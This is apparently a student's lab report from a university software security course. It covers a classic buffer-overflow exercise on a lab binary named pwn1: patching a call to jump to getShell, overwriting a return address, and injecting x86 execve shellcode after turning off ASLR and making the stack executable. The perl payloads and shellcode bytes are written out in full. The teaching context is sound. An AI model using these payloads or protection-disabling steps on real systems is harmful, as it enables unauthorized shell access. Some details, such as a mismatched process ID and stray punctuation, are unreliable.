20212926马绪健 2021-2022-2 第十一周(第九次)作业

20212926-马绪健-实践九 软件安全攻防--缓冲区溢出和shellcode

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

基础知识

1.掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
·NOP:空指令,在执行时,CPU无需任何操作。
JNE:与跳转不同的踢条件转移指令
JE:跳转
CMP:比较指令,相当于减法运算,但是不会寄存结果。
2.掌握反汇编与16进制编程器
3.反汇编:objdump -d ***
4.二进制转十六进制::%! xxd
5.掌握可执行文件的基本格式
6.掌握缓冲区溢出攻击的原理
当计算机向缓冲区内填充数据位数时超过了其自身容量,就会覆盖正确数据。

实践过程

进入到 pwn1,使用指令 objdump -d pwn1 反汇编提供的pwn1文件,可以看到 pwn1所有的函数。
image
我们可以看到getshell函数 main函数和foo函数
image
在main函数调用中,我们可以看到80484b5这一行中,第四列是汇编指令,代表调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。

输入指令vi pwn1,进入编辑器
image
发现全是乱码,按下ESC退出编辑模式,再输入命令":%!xxd",切换为16进制模式
image
现在我们要找d7,输入:/d7,来进行定位,
image
发现正好第一个d7就是要找的e8d7ffffff,所以直接把d7替换成c3;再使用:%!xxd -r返回,然后保存并退出。
再次对pwn1进行发汇编,发现主函数call的对象成果转变成了getShell,如下所示。
image
这时候再运行一下试试,发现pwn1就是调用shell指令了。
image

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,出发getShell函数
使用未被篡改的源文件 pwn1,输入命令 objdump -d pwn1对该文件进行反汇编
image
“apt install gdb”安装,输入命令“gdb pwn1”调式程序。
(已经安装过,所以直接可以调试)
image
输入“r”,运行这个文件,输入一连串“11111”,程序输出该字符串,报错“Segmentation fault”,原因是输入产生溢出。
image
构造输入字符串并作为pwn1的输入,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用命令(cat input; cat) | ./pwn1,运行结果如下所示
image

注入一个自己制作的shellcode并运行这段shellcode

(在seed ubuntu环境下完成)
image
为了能够顺利完成攻击,需要进行一些预先的准备工作
依次输入:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
image
然后就是要构造要注入的payload,输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
image
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1
image
ps -ef | grep pwn1命令找到pwn1的进程号是:609
image
用gdb的attach 6098命令启动调试这个进程:
image
修改文件中代码为
perl -e 'print "A" x 32;print `"\xe0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
image
执行(cat input_shellcode;cat) | ./pwn1,执行shell功能,结果如下
image
学习中遇到的问题
实验三未能在kali下完成
解决方案:
将环境换为ubuntu后,完成了实验三。

posted @ 2022-05-15 14:39  马绪健  阅读(37)  评论(0编辑  收藏  举报